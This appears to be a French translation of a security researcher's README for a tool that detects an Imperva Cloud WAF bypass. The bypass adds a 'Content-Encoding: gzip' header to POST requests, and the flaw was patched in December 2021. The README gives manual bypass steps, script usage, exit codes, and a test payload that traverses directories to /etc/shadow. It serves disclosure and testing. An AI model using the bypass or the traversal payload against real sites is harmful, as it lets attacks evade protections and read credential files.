bishopfox/imperva_gzip_waf_bypassExploit pour le contournement d'Imperva Cloud WAF utilisant l'en-tête Content-Encoding gzip pour éviter les règles WAF sur les requêtes HTTP POST. Comprend un script de détection et des étapes de test manuelles.
Le Cloud WAF d'Imperva était vulnérable à un contournement permettant aux attaquants d'échapper aux règles du WAF lors de l'envoi de charges utiles HTTP POST malveillantes, telles que des exploits log4j, des injections SQL, l'exécution de commandes, la traversée de répertoires, XXE, etc.
L'équipe Imperva a pris cela très au sérieux dès la minute où cela leur a été signalé, et elle a mis au point un correctif mondial en seulement quelques jours. Bravo. Tous les clients du Cloud WAF sont automatiquement patchés à compter du 22 décembre 2021. Imperva a été un partenaire formidable et possède clairement une équipe de sécurité mature, compétente et capable.
Ajoutez l'en-tête Content-Encoding: gzip aux requêtes HTTP POST. Laissez les données POST telles quelles. Ne les encodez pas. Tant que les quatre premiers octets de l'en-tête Content-Encoding sont gzip, aucune règle du WAF ne sera appliquée aux requêtes POST.
Vous pouvez le faire dans Burp en utilisant la fonctionnalité Match & Replace du proxy :
Ajoutez un nouvel en-tête comme ceci :
Et voilà, vous êtes prêt.
Exécutez imperva_gzip.py contre une URL qui accepte les requêtes POST comme ceci :
Syntaxe :
./imperva_gzip.py [[-t] | [-r]] URL
Détectez le type de WAF pour une URL donnée :
$ ./imperva_gzip.py -t https://www.vulnerable.com/search
Imperva Incapsula
$ ./imperva_gzip.py -t https://www.wordpress-user.com/login
WordFence
$ ./imperva_gzip.py -t https://www.cloudflare-customer.com
Cloudflare
Vérifiez si le WAF est vulnérable au contournement gzip :
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[+] Checking for Imperva WAF...
[+] Attempting gzip bypass for UNIX trigger...
[+] Vulnerable! HTTP response code: 200
[+] Attempting gzip bypass for Windows trigger...
[+] Vulnerable! HTTP response code: 200
Si vous obtenez cette erreur :
$ ./imperva_gzip.py https://www.vulnerable.com/search
[+] Can we make POST requests to https://www.vulnerable.com/search?
[!] Can't POST to https://www.vulnerable.com/search. Try -r if 30x redirects are allowed. HTTP response code: 302
essayez alors de passer -r en ligne de commande pour activer le mode relaxed. Le mode relaxed est désactivé par défaut, ce qui signifie qu'une requête POST est censée obtenir une réponse HTTP 200 du serveur. -r élargit les réponses acceptables aux HTTP 2xx, 3xx.
Les codes de sortie de imperva_gzip.py sont les suivants :
0: Returned after getting WAF type.
1: Command-line was invalid.
2: There was an error connecting. Could be DNS error, timeout, etc.
3: No WAF was detected; malicious UNIX/Windows payloads weren't blocked.
4: A WAF was detected, but it wasn't Imperva.
5: The server responded to a test POST request with something other than HTTP 200.
128: There is an Imperva WAF, but it is not vulnerable to the gzip bypass.
129: The bypass was effective for the UNIX payload, but not the Windows one.
130: The bypass was effective for the Windows payload, but not the UNIX one.
131: The bypass was effective against both Windows and UNIX payloads.
Envoyez trois requêtes POST :
&test=../../../../../../../etc/shadow dans le corps, pour vérifier qu'Imperva la bloqueContent-Encoding: gzip à la même requête malveillante et vérifiez qu'Imperva ne la bloque pasSelon https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Content-Encoding, il existe quatre valeurs valides pour l'en-tête Content-Encoding :
compressdeflategzipbrLors des tests, seul gzip a fonctionné comme contournement.
Le Cloud WAF est géré par Imperva. Par conséquent, les mises à jour du Cloud WAF affectent presque tous les clients presque en même temps. Il est corrigé pour tous les clients à compter du 22 décembre 2021.
Le bug de contournement gzip a été corrigé dans un autre produit Imperva appelé SecureSphere. Les notes de version de SecureSphere v12.6 contiennent ce paragraphe :
SPHR-58185 : Lorsque SecureSphere ne parvenait pas à décompresser le corps des requêtes POST avec l'en-tête « Content-Encoding: gzip/deflate », il n'émettait aucune alerte et laissait passer la requête.
Je suis à peu près sûr qu'il s'agit du même bug, peut-être avec le même héritage de code que le Cloud WAF... c'est un bug assez spécifique pour se trouver dans deux produits. Le problème a été résolu pour SecureSphere en février 2021, mais nous ne savons pas quand il a été introduit. Il est possible que la vulnérabilité existe depuis des années !
Support client Imperva : https://www.imperva.com/support/technical-support/